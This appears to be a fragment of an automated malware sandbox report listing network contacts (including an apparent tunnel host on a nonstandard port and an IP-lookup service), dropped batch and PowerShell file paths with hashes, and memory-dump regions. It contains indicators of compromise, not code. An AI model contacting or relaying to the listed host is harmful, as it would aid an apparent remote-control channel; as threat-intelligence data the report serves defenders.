US 147.185.221.16:43416 ii-restored.gl.at.ply.gg tcp
US 8.8.8.8:53 16.221.185.147.in-addr.arpa udp
US 104.26.12.31:443 api.ip.sb tcp

Files

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat

MD5 23bad6dd1951a20924f5046c913d8ff2
SHA1 812500904e0800703382b460c20e0ed3b1ff0b4d
SHA256 03bbd3b3e518b52769bb9cf6e158cc771869b86b3a5ae74072aa82ac2be739bd
SHA512 5368bbe4046a080dcdc53774a4197f92adf65c640135bbc3a0cae9111d6d8a6779648b4b68ccd1251c4819c1cd043a7ef88efd4d0bf70ed02eab1dc2ca656e91

memory/1780-3-0x0000000074FDE000-0x0000000074FDF000-memory.dmp

memory/1780-4-0x0000000004F50000-0x0000000004F86000-memory.dmp

memory/1780-5-0x00000000056E0000-0x0000000005D0A000-memory.dmp

memory/1780-6-0x0000000074FD0000-0x0000000075781000-memory.dmp

memory/1780-7-0x0000000074FD0000-0x0000000075781000-memory.dmp

memory/1780-8-0x0000000005570000-0x0000000005592000-memory.dmp

memory/1780-9-0x0000000005D80000-0x0000000005DE6000-memory.dmp

memory/1780-10-0x0000000005DF0000-0x0000000005E56000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cenr0r1r.yvn.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1780-19-0x0000000005E60000-0x00000000061B7000-memory.dmp

memory/1780-20-0x0000000006300000-0x000000000631E000-memory.dmp

memory/1780-21-0x0000000006340000-0x000000000638C000-memory.dmp

memory/1780-22-0x0000000007B50000-0x00000000081CA000-memory.dmp

memory/1780-23-0x0000000006900000-0x000000000691A000-memory.dmp

memory/1780-24-0x00000000074F0000-0x00000000074F8000-memory.dmp

memory/1780-25-0x0000000007500000-0x0000000007512000-memory.dmp

memory/1780-26-0x0000000007510000-0x000000000752E000-memory.dmp

memory/1780-27-0x00000000087F0000-0x0000000008E08000-memory.dmp

memory/1780-28-0x00000000075F0000-0x0000000007602000-memory.dmp

memory/1780-29-0x0000000007650000-0x000000000768C000-memory.dmp

memory/1780-30-0x00000000077D0000-0x00000000078DA000-memory.dmp

memory/1780-31-0x00000000083A0000-0x0000000008562000-memory.dmp

memory/1780-32-0x0000000009340000-0x000000000986C000-memory.dmp

memory/1780-33-0x0000000074FD0000-0x0000000075781000-memory.dmp